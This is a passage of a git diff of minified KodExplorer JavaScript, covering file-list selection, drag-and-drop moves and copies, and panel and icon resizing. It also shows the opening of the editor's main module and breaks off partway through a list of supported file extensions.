e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){var i=$(this).parents(".file");return i.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),z(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+' "'+t+'"',move_to:''+LNG.cute_to+' "'+t+'"',remove:''+LNG.remove+a+" ",share:''+LNG.share+a+" ",none:''+LNG.no_permission_write+" ",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to=''+LNG.clone+" "),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('").appendTo("body"),c=!0,setTimeout(j,20)},L=0,N=5,C=35,T=20,S=60,j=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=S||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*N,"data-sizeAdd":L*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),T=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},T);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},z=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*N,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+N*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return i.eq(n)},v=function(e){if("desktop"==Config.pageApp)return m(e);var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=i.index(t.first()),l=i.index(t.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=a?a:l+o,n=_(n,!0);break;case"right":n=l>=a?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=a?a:l+s,n=_(n,!0);break;default:}return i.eq(n)},_=function(e,i){for(var t=h.fileListAll(),a=t.eq(e),n=t.length;0!=a.parents(".hidden").length;){if(i?e++:e--,0>=e||e>=n)return e;a=t.eq(e)}return e},g=function(e){var i,t=h.fileListAll(),a=h.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=a.last(),i=t.first();break;case"end":n=a.first(),i=t.last();break;case"left":n=a.last(),i=v(e);break;case"up":n=a.last(),i=v(e);break;case"right":n=a.first(),i=v(e);break;case"down":n=a.first(),i=v(e);break;case"pageup":n=a.last(),i=v(e);break;case"pagedown":n=a.first(),i=v(e);break;case"all":i=t;break;default:}if(!y(e)){if(o&&""!=n){var s=t.index(n),r=t.index(i);if(s>r){var l=s;s=r,r=l}return x(s,r,t),void 0}b(i)}},b=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"list_split"==G.user_config.list_type&&1==e.length&&r($(ui.fileLight.fileListSelect()[0])))},y=function(e){var i=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.user_config.list_type)return!1;switch(e){case"left":if("list"==G.user_config.list_type)if(1==i.find(".children_more_cert.cert_open").length)i.find(".children_more_cert").removeClass("cert_open"),i.next().addClass("hidden");else{var t=i.parent(".children_list").prev(".file");b(t)}else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").prev().find(".select_split_parent");b(t)}break;case"right":if("list"==G.user_config.list_type)1==i.find(".children_more_cert").length&&(ui.fileContent.pathChildrenTree(i),i.find(".children_more_cert").addClass("cert_open"),i.next().removeClass("hidden"));else if("list_split"==G.user_config.list_type){var t=i.parents(".split_box").next().find(".file:eq(0)");b(t)}break;default:return!1}return!0},x=function(e,i,t){if("desktop"==Config.pageApp)return k(e,i,t);
+ui.fileLight.clear();for(var a=e;i>=a;a++)$(t[a]).addClass(Config.SelectClassName);ui.fileLight.select()},k=function(e,i,t){var a=ui.getColfileNumberDesktop(),n=Math.ceil(h.fileListAll().length/a),e={row:e%a,col:parseInt(e/a)},i={row:i%a,col:parseInt(i/a)};if(i.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==i.row&&(c=i.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){a(),l(),p(),u()},isDraging:function(){return i},selectSplit:c,selectPos:g}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorer_left_tree_width:199,editor_left_tree_width:199},i={filename:150,filetype:60,filesize:60,filetime:120,explorer_left_tree_width:2,editor_left_tree_width:2},t=e,a=function(){if(LocalData.get("resize_config"))t=jsonDecode(LocalData.get("resize_config"));else{G.user_config.resize_config!==void 0&&(t=jsonDecode(htmlDecode(G.user_config.resize_config)));var a=jsonEncode(t);LocalData.set("resize_config",a)}$.each(e,function(a){(!t[a]||t[a]=t&&(t=i[e]),n+=t,a+=".fileList_list .file ."+e+",#main_title ."+e+"{width:"+t+"px;}")}),a+=".fileList_list .file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=60,o=120),t=n>=t?n:t,t=t>=o?o:t;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(t),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,v="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var _="div.fileList_icon div.file{max-height:"+m+"px;}"+v+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",s),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i;if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left})};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}});
\ No newline at end of file
diff --git a/static/js/app/src/edit/main.js b/static/js/app/src/edit/main.js
index d48177a..c427dbe 100755
--- a/static/js/app/src/edit/main.js
+++ b/static/js/app/src/edit/main.js
@@ -1,5 +1,5 @@
-/*! power by kodexplorer ver3.37(2017-01-09) [build 1483959466678] */
-var animate_time=160;define("app/src/edit/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","./edit","./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist","./taskTap","./toolbar"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),Editor=e("./edit"),Tap=e("./taskTap"),Toolbar=e("./toolbar"),rightMenu=Tap.rightMenu,$(document).ready(function(){core.init(),Editor.init(),Toolbar.init(),Tap.init(),e.async("lib/code_beautify"),$("a,img").attr("draggable","false"),setTimeout(function(){t()},300);var t=function(){var e=window.location.href.indexOf("#filename=");if(e>0){var t=window.location.href.substr(e+"#filename=".length);return Editor.add(t),void 0}Editor.getParentEditor(function(e){for(var t=e.ui.fileHistory(),i=0;t.length>i;i++)Editor.add(t[i]);0==t.length&&Editor.add("")})};$(window).bind("resize",function(){Tap.resetWidth("resize")}),navigator.userAgent.match(/(iPhone|iPod|Android|ios)/i)&&"1"===Cookie.get("forceWap")&&$("body").addClass("forceWap"),window.onbeforeunload=function(){return Editor.hasFileSave()?LNG.if_save_file:void 0}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g," ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","te